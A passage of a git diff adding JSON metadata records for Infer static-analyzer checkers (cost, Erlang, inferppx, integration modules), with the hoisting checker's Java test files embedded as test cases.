"OCaml", + "loc": 353, + "branches": 10, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costUtils.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costUtils.json new file mode 100644 index 0000000..2028b47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/costUtils.json @@ -0,0 +1,13 @@ +{ + "name": "costUtils", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 58, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/hoisting.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/hoisting.json new file mode 100644 index 0000000..7e42882 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/cost/hoisting.json @@ -0,0 +1,62 @@ +{ + "name": "hoisting", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 120, + "branches": 8, + "apis": 22, + "test": [ + { + "testname": "ByteBufferTest.java", + "testlanguage": "java", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass ByteBufferTest {\n\n class ByteBuffer {\n byte[] bufferBytes;\n\n int limit = 10;\n int pos = 0;\n\n public int getInt() {\n return bufferBytes[pos++];\n }\n\n public int remaining() {\n return limit - pos;\n }\n }\n\n public static int[] decodeMobileOnly(ByteBuffer buffer) {\n int[] dataUsage = new int[3];\n dataUsage[0] = buffer.getInt();\n return dataUsage;\n }\n\n // don't hoist remaining()\n void inner_change_don_hoist(ByteBuffer byteBuffer) {\n while (byteBuffer.remaining() > 0) {\n decodeMobileOnly(byteBuffer);\n }\n }\n}\n" + }, + { + "testname": "Hoist.java", + "testlanguage": "java", + "expected-problems": 95, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.util.ArrayList;\n\nclass Hoist {\n\n int foo(int x, int y) {\n return x + y;\n }\n\n int bar(int x) {\n return 3 * x;\n }\n\n // will only report one even though both calls are invariant, due to\n // location clashing (no column information)\n void clash_function_calls_hoist(int size) {\n int x = 10;\n int y = 5;\n for (int i = 0; i < size; i++) {\n foo(x, foo(y, x + y));\n }\n }\n\n // will report both\n void two_function_call_hoist(int size) {\n int x = 10;\n int y = 5;\n for (int i = 0; i < size; i++) {\n foo(x, bar(y));\n }\n }\n\n // it is ok to move fun call to a temp. var\n void reassigned_temp_hoist(int size) {\n int x = 10;\n int y = 5;\n int d = 0;\n for (int i = 0; i < size; i++) {\n d = foo(x, y);\n d = 30;\n }\n }\n\n // it is ok to just hoist function call into a temp var.\n void used_in_loop_body_before_def_temp_hoist(int size, int[] M) {\n int x = 10;\n int y = 5;\n int d = 20;\n for (int i = 0; i < size; i++) {\n M[i] = d;\n d = foo(x, y);\n }\n }\n\n void loop_guard_hoist(int size, int[] M) {\n int x = 10;\n int d = 0;\n int y = 5;\n for (int i = 0; i < foo(d, size); i++) {}\n }\n\n void legit_hoist(int size, int[] M) {\n int x = 10;\n int y = 5;\n int d = 0;\n for (int i = 0; i < size; i++) {\n d = foo(x, x + y);\n M[i] = d;\n }\n }\n\n // x is not invariant, hence d won't be invariant as well\n void dep_not_invariant_dont_hoist(int size, int[] M) {\n int x = 10;\n int y = 5;\n int d = 20;\n for (int i = 0; i < size; i++) {\n if (i > 3) {\n x = 3;\n }\n d = foo(x, y); // shouldn't be hoisted\n }\n }\n\n // foo(x) is not guaranteed to execute\n void not_guaranteed_to_execute_dont_hoist(int size, int x, int y) {\n int i = 0;\n\n while (i < size) {\n if (i > 3) {\n foo(x, y);\n }\n i++;\n }\n }\n\n void x_not_invariant_dont_hoist(int size, int x, int y) {\n int i = 0;\n\n while (i < size) {\n x = foo(x, y) + y;\n i++;\n }\n }\n\n void array_store_hoist(int size, int[] M) {\n int x = 10;\n int y = 5;\n int d = 0;\n for (int i = 0; i < size; i++) {\n M[i] = foo(x, x + y);\n }\n }\n\n // y = ... can be taken out of the inner loop\n void nested_loop_hoist(int size, int x, int y) {\n int i = 0;\n\n while (i < size) {\n for (int j = 0; i < j; j++) {\n y = foo(i, x);\n }\n i++;\n }\n }\n\n // j is not invariant, y can't be taken out\n void nested_loop_dont_hoist(int size, int x, int y) {\n int i = 0;\n\n while (i < size) {\n for (int j = 0; j < i; j++) {\n y = foo(j, x);\n }\n i++;\n }\n }\n\n void new_dont_hoist(ArrayList list) {\n\n for (int i = 0; i < 10; i++) {\n list = new ArrayList();\n }\n }\n\n // Tests for built-in declarations\n\n void get_array_length_dont_hoist(int[] array) {\n int k = 0;\n for (int i = 0; i < 10; i++) {\n k = k + array.length;\n }\n }\n\n interface Nothing {}\n\n class Foo {}\n\n class EmptyFoo extends Foo implements Nothing {}\n\n boolean instanceof_dont_hoist(EmptyFoo empty) {\n boolean k = false;\n ;\n for (int i = 0; i < 10; i++) {\n k = empty instanceof Nothing;\n }\n return k;\n }\n\n void dumb_foo() {\n int k = 0;\n k++;\n }\n\n void void_hoist(int size) {\n for (int i = 0; i < size; i++) {\n dumb_foo();\n }\n }\n}\n" + }, + { + "testname": "HoistGlobal.java", + "testlanguage": "java", + "expected-problems": 35, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\nimport java.util.LinkedList;\nimport java.util.Set;\n\nclass HoistGlobal {\n\n public static int svar = 0;\n\n int read_global() {\n return svar;\n }\n\n int return_one() {\n return 1;\n }\n\n class Foo {\n void set() {\n svar = 5;\n }\n\n int read_global() {\n return svar;\n }\n\n int return_zero() {\n return 0;\n }\n }\n\n int global_modification_dont_hoist_FP(int size) {\n Foo f = new Foo();\n int d = 0;\n for (int i = 0; i < size; i++) {\n d += read_global(); // don't hoist since set() changes a global var in the loop\n f.set();\n f.read_global(); // don't hoist\n }\n return d;\n }\n\n int global_modification_hoist(ArrayList list) {\n Foo f = new Foo();\n int d = 0;\n for (int i = 0; i < list.size(); i++) {\n d += return_one(); // ok to hoist\n f.set(); // don't invalidate size()\n f.return_zero(); // ok to hoist since doesn't read global\n }\n return d;\n }\n\n void call_global_modification_dont_hoist(int size) {\n for (int i = 0; i < size; i++) {\n global_modification_dont_hoist_FP(size);\n }\n }\n\n private void processModulesDirectory_dont_hoist_FP(\n Set modulesToDelete, String[] existingFiles) {\n final AppModuleFileInfo fInfo = new AppModuleFileInfo();\n for (String existingFile : existingFiles) {\n fInfo.setFileName(existingFile);\n final boolean delete = modulesToDelete.contains(fInfo.mModuleName);\n }\n }\n\n private void processModulesDirectory_param_dont_hoist_FP(\n Set modulesToDelete,\n String[] existingFiles,\n AppModuleFileInfo fInfo,\n AppModuleFileInfo fInfo2) {\n for (String existingFile : existingFiles) {\n fInfo.setFileName(existingFile);\n\n final boolean delete = modulesToDelete.contains(fInfo2.mModuleName);\n }\n }\n\n private void processModulesDirectory_hoist(Set modulesToDelete, String[] existingFiles) {\n final AppModuleFileInfo fInfo = new AppModuleFileInfo();\n for (String existingFile : existingFiles) {\n fInfo.setFileName(existingFile);\n final boolean delete = modulesToDelete.contains(fInfo.x);\n }\n }\n\n void remove_first_dont_hoist(LinkedList list) {\n\n while (list.size() >= 10) {\n list.removeFirst();\n }\n }\n\n String get_first_hoist_FN(LinkedList list, String s) {\n for (int i = 0; i <= 10; i++) {\n String first = list.getFirst(); // list is invalidated\n if (list.contains(s)) { // hoist\n return first;\n }\n }\n return \"\";\n }\n}\n\nclass AppModuleFileInfo {\n\n static String mModuleName;\n static Integer x;\n\n void setFileName(String fileName) {\n mModuleName = fileName;\n }\n}\n" + }, + { + "testname": "HoistIndirect.java", + "testlanguage": "java", + "expected-problems": 119, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nclass HoistIndirect {\n\n public static int svar = 0;\n public int x = 0;\n int[] array;\n\n class Test {\n\n int a = 0;\n int[] test_array;\n\n int foo(int x) {\n return x + 10;\n }\n\n void set_test(Test test) {\n test.a = 5;\n }\n\n int get_test(Test test) {\n return test.a;\n }\n\n int get_sum_test(Test test, int x) {\n return test.a + x;\n }\n\n Test return_only(Test t) {\n return t;\n }\n\n int indirect_modification_dont_hoist(int size, Test t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_test(t);\n d = get_test(t); // don't hoist since t changes\n }\n return d;\n }\n\n void variant_arg_dont_hoist(int size, Test t) {\n for (int i = 0; i < size; i++) {\n set_test(t); // t is invalidated\n get_sum_test(return_only(t), size); // return_only's argument is variant, hence don't hoist\n }\n }\n\n // t changes deep in the call stack\n int deep_modification_dont_hoist(int size) {\n int d = 0;\n Test t = new Test();\n\n for (int i = 0; i < size; i++) {\n indirect_modification_dont_hoist(size, t);\n }\n return d;\n }\n\n // foo(3) is ok to hoist\n int indirect_modification_hoist(int size) {\n int d = 0;\n Test t = new Test();\n for (int i = 0; i < size; i++) {\n set_test(t); // t is invalidated here\n d = foo(3); // foo is still invariant so it is ok to hoist\n }\n return d;\n }\n\n void set_only_first_param(Test test, Test no_mod) {\n test.a = 5;\n }\n\n int indirect_modification_only_second_call_hoist(int size, Test t, Test no_mod_t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_only_first_param(t, no_mod_t);\n d = get_test(t); // don't hoist since t changes\n d = get_test(no_mod_t); // hoist since no_mod_t doesn't change\n }\n return d;\n }\n }\n\n void set() {\n svar = 5;\n }\n\n int get() {\n return svar;\n }\n\n //\n int indirect_this_modification_dont_hoist(int size) {\n int d = 0;\n\n for (int i = 0; i < size; i++) {\n d = get(); // don't hoist since HoistIndirect.svar changes in the loop\n set();\n }\n return d;\n }\n\n int direct_this_modification_dont_hoist_FP(int size) {\n int d = 0;\n\n for (int i = 0; i < size; i++) {\n d += get(); // don't hoist since this.svar changes in the loop\n svar = i;\n }\n return d;\n }\n\n int this_modification_outside_hoist(int size) {\n int d = 0;\n set();\n for (int i = 0; i < size; i++) {\n d += get(); // ok to hoist since set is outside\n }\n return d;\n }\n\n int arg_modification_hoist(int size, Test t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n d += get(); // ok to hoist since set_test doesn't modify this\n t.set_test(t);\n }\n return d;\n }\n\n void set_ith(int i, int[] array) {\n array[i] = 0;\n }\n\n int get_ith(int i, int[] array) {\n return array[i];\n }\n\n int modified_array_dont_hoist(int size, Test t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_ith(i, array);\n d += get_ith(size, array); // don't hoist since array changes\n }\n return d;\n }\n\n int independent_hoist(int size, Test t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_ith(i, array);\n t.foo(size); // hoist call to foo\n d += get_ith(size, array); // don't hoist since array changes\n }\n return d;\n }\n\n int modified_inner_array_dont_hoist(int size, Test t) {\n int d = 0;\n for (int i = 0; i < size; i++) {\n set_ith(i, t.test_array);\n d += t.foo(t.test_array[0]); // don't hoist since t.test_array changes\n }\n return d;\n }\n\n static int regionFirst(int[] region) {\n return region[0];\n }\n\n static void incrDest(int[] source, int[] dest) {\n dest[0] = source[0] + 1;\n }\n\n static void sumDest(int[] source, int[] dest, int x) {\n dest[0] = source[0] + x;\n }\n\n void irvar_change_dont_hoist(int[][] nextRegionM, int p, int[] tempRegion) {\n for (int i = 0; i < 10; i++) {\n if (i < regionFirst(nextRegionM[p])) {\n incrDest(tempRegion, nextRegionM[p]); // invalidate nextRegionM\n }\n }\n }\n\n void tmp_irvar_change_dont_hoist(int[][] nextRegionM, int p, int[] tempRegion) {\n for (int i = 0; i < 10; i++) {\n if (i < regionFirst(nextRegionM[p])) {\n int[] arr = nextRegionM[p];\n incrDest(tempRegion, arr); // invalidate nextRegionM\n }\n }\n }\n\n int double_me(int p) {\n return 2 * p;\n }\n\n void irvar_independent_hoist(int[][] nextRegionM, int p, int[] tempRegion) {\n for (int i = 0; i < 10; i++) {\n if (i < regionFirst(nextRegionM[p]) + double_me(p)) { // double_me(p) can be hoisted\n sumDest(tempRegion, nextRegionM[p], i); // invalidate nextRegionM\n }\n }\n }\n\n void unmodified_arg_hoist(int[][] nextRegionM, int p, int[] tempRegion) {\n for (int i = 0; i < 10; i++) {\n if (i\n < regionFirst(nextRegionM[p])\n + regionFirst(tempRegion)) { // regionFirst(tempRegion) can be hoisted\n sumDest(tempRegion, nextRegionM[p], i); // invalidate nextRegionM\n }\n }\n }\n\n // arr is modified via aliasing\n void alias(int[] arr) {\n\n int[] new_arr = arr;\n new_arr[0] = 4;\n }\n\n void alias_dont_hoist(int[] arr) {\n for (int i = 0; i < 10; i++) {\n alias(arr); // alias modifies arr\n get_ith(0, arr); // don't hoist\n }\n }\n\n int return_zero() {\n return 0;\n }\n\n void set_x() {\n x = 0;\n }\n\n // Since we don't keep track of what values are read in purity\n // analysis, when we call set_x, we add implicit arg. \"this\" to\n // modified arguments which prevents any other call in the loop to\n // be hoisted\n int indirect_this_modification_hoist_FN(int size) {\n int d = 0;\n\n for (int i = 0; i < size; i++) {\n d = return_zero(); // OK to hoist\n set_x();\n }\n return d;\n }\n}\n" + }, + { + "testname": "HoistInvalidate.java", + "testlanguage": "java", + "expected-problems": 26, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport com.sun.source.tree.Tree;\nimport com.sun.tools.javac.util.List;\nimport java.util.ArrayList;\n\nclass HoistInvalidate {\n\n int x = 0;\n // item will be invalidated\n void loop_over_sun_list_dont_hoist(List list) {\n for (List item = list; item.nonEmpty(); item = item.tail) {}\n }\n\n class Item {\n\n public Item next;\n\n public void while_dont_hoist(Item in1, Item in2) {\n\n while (in1.next != null) {\n in1 = in1.next;\n if (in1.equals(in2)) {}\n }\n }\n }\n\n public void add_to_head(ArrayList list, int[] array) {\n list.add(0);\n }\n\n int get_length(int[] array) {\n return array.length;\n }\n\n int get_x(int[] array) {\n return array[x];\n }\n\n int effectful_get_length(int[] array) {\n x = 0;\n return array.length;\n }\n\n public void loop_indirect_hoist(ArrayList list, int x, int[] array) {\n for (int i = 0; i < 10; i++) {\n add_to_head(list, array); // invalidate only list\n get_length(array); // ok to hoist\n }\n }\n\n // to deal with the FN, we need to track which global arguments are read\n public void loop_indirect_hoist_FN(ArrayList list, int x, int[] array) {\n for (int i = 0; i < 10; i++) {\n get_length(array); // ok to hoist\n get_x(array); // not ok to hoist since it reads this.x\n effectful_get_length(array); // here, we invalidate *this* (implicit arg)\n }\n }\n}\n" + }, + { + "testname": "HoistModeled.java", + "testlanguage": "java", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport com.fasterxml.jackson.core.JsonParser;\nimport com.fasterxml.jackson.databind.DeserializationContext;\nimport com.fasterxml.jackson.databind.JsonDeserializer;\nimport java.io.IOException;\nimport java.util.*;\n\nclass HoistModeled {\n\n int list_contains_hoist(List list, String s) {\n int d = 0;\n for (int i = 0; i < 10; i++) {\n if (list.contains(s.substring(0, 1))) {\n d++;\n }\n }\n return d;\n }\n\n void deserialize_hoist(\n final JsonDeserializer specDeserializer,\n final JsonParser p,\n final DeserializationContext ctx)\n throws IOException {\n int d = 0;\n Object o;\n for (int i = 0; i < 10; i++) {\n o = specDeserializer.deserialize(p, ctx);\n }\n }\n\n boolean contains_pure_FN(Integer i, ArrayList list) {\n Iterator listIterator = list.iterator();\n while (listIterator.hasNext()) {\n Integer el = listIterator.next();\n if (i.equals(el)) {\n return true;\n }\n }\n return false;\n }\n\n void call_contains_pure_hoist_FN(int b, ArrayList list) {\n for (int i = 0; i < b; i++) {\n contains_pure_FN(b, list);\n }\n }\n}\n" + }, + { + "testname": "HoistNoIndirectMod.java", + "testlanguage": "java", + "expected-problems": 29, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport java.util.ArrayList;\n\nclass HoistNoIndirectMod {\n\n int id = 0;\n\n public int increment() {\n id = calcNext();\n return id;\n }\n\n public int calcNext() {\n return (id + 1);\n }\n\n public int calcSame() {\n return id;\n }\n\n public int increment_dont_hoist_FP(int n) {\n for (int i = 0; i < n; i++) {\n id = calcNext(); // shouldn't be hoisted\n }\n return id;\n }\n\n public int modify_and_increment_dont_hoist_FP(int n) {\n int p = 0;\n for (int i = 0; i < n; i++) {\n p += calcNext();\n id = i;\n }\n return p;\n }\n\n // modifies list indirectly via aliasing\n public void set_first_to_zero(ArrayList list) {\n ArrayList l = list;\n if (l != null) {\n l.set(0, 0);\n }\n }\n\n public void call_set_first_to_zero(ArrayList list) {\n set_first_to_zero(list);\n }\n\n public void alias_call_set_first_to_zero(ArrayList list) {\n ArrayList l = list;\n set_first_to_zero(l);\n }\n\n public void indirect_mod_dont_hoist(Integer[] array, ArrayList list) {\n for (Integer element : array) {\n set_first_to_zero(list);\n call_set_first_to_zero(list);\n alias_call_set_first_to_zero(list);\n }\n }\n\n int avg(ArrayList list) {\n int sum = 0;\n for (Integer element : list) {\n sum += element;\n }\n return sum;\n }\n\n public void no_mod_hoist(Integer[] array, ArrayList list) {\n for (Integer element : array) {\n avg(list);\n }\n }\n}\n" + }, + { + "testname": "HoistUnmodeled.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass HoistUnmodeled {\n\n // Any unmodeled (e.g. timing) call is assumed to be modifying global\n // state\n void timing_calls_dont_hoist(int x) {\n for (int i = 0; i < x; i++) {\n System.nanoTime();\n }\n }\n\n // doesn't read from global state or call any unmodeled function, a\n // harmless pure function\n void harmless_pure() {}\n\n // It should be ok to hoist harmless_pure() since it doesn't read\n // from global state.\n void harmless_hoist_FN(int b) {\n for (int i = 0; i < b; i++) {\n timing_calls_dont_hoist(b); // don't hoist\n harmless_pure(); // ok to hoist\n }\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAst.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAst.json new file mode 100644 index 0000000..ed9c0aa --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAst.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangAst", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 157, + "branches": 0, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAstValidator.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAstValidator.json new file mode 100644 index 0000000..1a14a5e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangAstValidator.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangAstValidator", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 348, + "branches": 33, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangBlock.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangBlock.json new file mode 100644 index 0000000..18ef224 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangBlock.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangBlock", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 93, + "branches": 8, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangEnvironment.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangEnvironment.json new file mode 100644 index 0000000..d249c71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangEnvironment.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangEnvironment", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 157, + "branches": 14, + "apis": 43, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangJsonParser.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangJsonParser.json new file mode 100644 index 0000000..a8063c6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangJsonParser.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangJsonParser", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 691, + "branches": 40, + "apis": 172, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangNode.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangNode.json new file mode 100644 index 0000000..72a8f72 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangNode.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangNode", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 45, + "branches": 2, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangScopes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangScopes.json new file mode 100644 index 0000000..186861e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangScopes.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangScopes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 274, + "branches": 23, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTranslator.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTranslator.json new file mode 100644 index 0000000..e44fd55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTranslator.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangTranslator", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 1516, + "branches": 106, + "apis": 410, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTypes.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTypes.json new file mode 100644 index 0000000..75ed007 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/erlang/ErlangTypes.json @@ -0,0 +1,13 @@ +{ + "name": "ErlangTypes", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 179, + "branches": 14, + "apis": 73, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainInlinedCode.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainInlinedCode.json new file mode 100644 index 0000000..b99834e --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainInlinedCode.json @@ -0,0 +1,13 @@ +{ + "name": "AbsDomainInlinedCode", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 63, + "branches": 12, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainTests.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainTests.json new file mode 100644 index 0000000..ba21d5b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/AbsDomainTests.json @@ -0,0 +1,13 @@ +{ + "name": "AbsDomainTests", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 44, + "branches": 0, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormInlinedCode.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormInlinedCode.json new file mode 100644 index 0000000..b98ec0a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormInlinedCode.json @@ -0,0 +1,13 @@ +{ + "name": "HashNormInlinedCode", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 478, + "branches": 37, + "apis": 105, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormTests.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormTests.json new file mode 100644 index 0000000..8f1644a --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx-tests/HashNormTests.json @@ -0,0 +1,13 @@ +{ + "name": "HashNormTests", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 82, + "branches": 1, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/AbsDomain.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/AbsDomain.json new file mode 100644 index 0000000..51d721b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/AbsDomain.json @@ -0,0 +1,13 @@ +{ + "name": "AbsDomain", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 117, + "branches": 6, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Common.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Common.json new file mode 100644 index 0000000..9f76002 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Common.json @@ -0,0 +1,13 @@ +{ + "name": "Common", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 60, + "branches": 3, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Hashnorm.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Hashnorm.json new file mode 100644 index 0000000..9e75739 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/Hashnorm.json @@ -0,0 +1,13 @@ +{ + "name": "Hashnorm", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 318, + "branches": 22, + "apis": 88, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/StatsPpx.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/StatsPpx.json new file mode 100644 index 0000000..b1071b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/inferppx/StatsPpx.json @@ -0,0 +1,13 @@ +{ + "name": "StatsPpx", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 124, + "branches": 7, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Ant.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Ant.json new file mode 100644 index 0000000..b940ac8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Ant.json @@ -0,0 +1,13 @@ +{ + "name": "Ant", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 60, + "branches": 6, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Bitcode.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Bitcode.json new file mode 100644 index 0000000..1fc4692 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Bitcode.json @@ -0,0 +1,13 @@ +{ + "name": "Bitcode", + "language": [], + "description": "", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 61, + "branches": 2, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Buck.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/integration/Buck.json new file mode 100644 index 0000000..7ccf181 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule 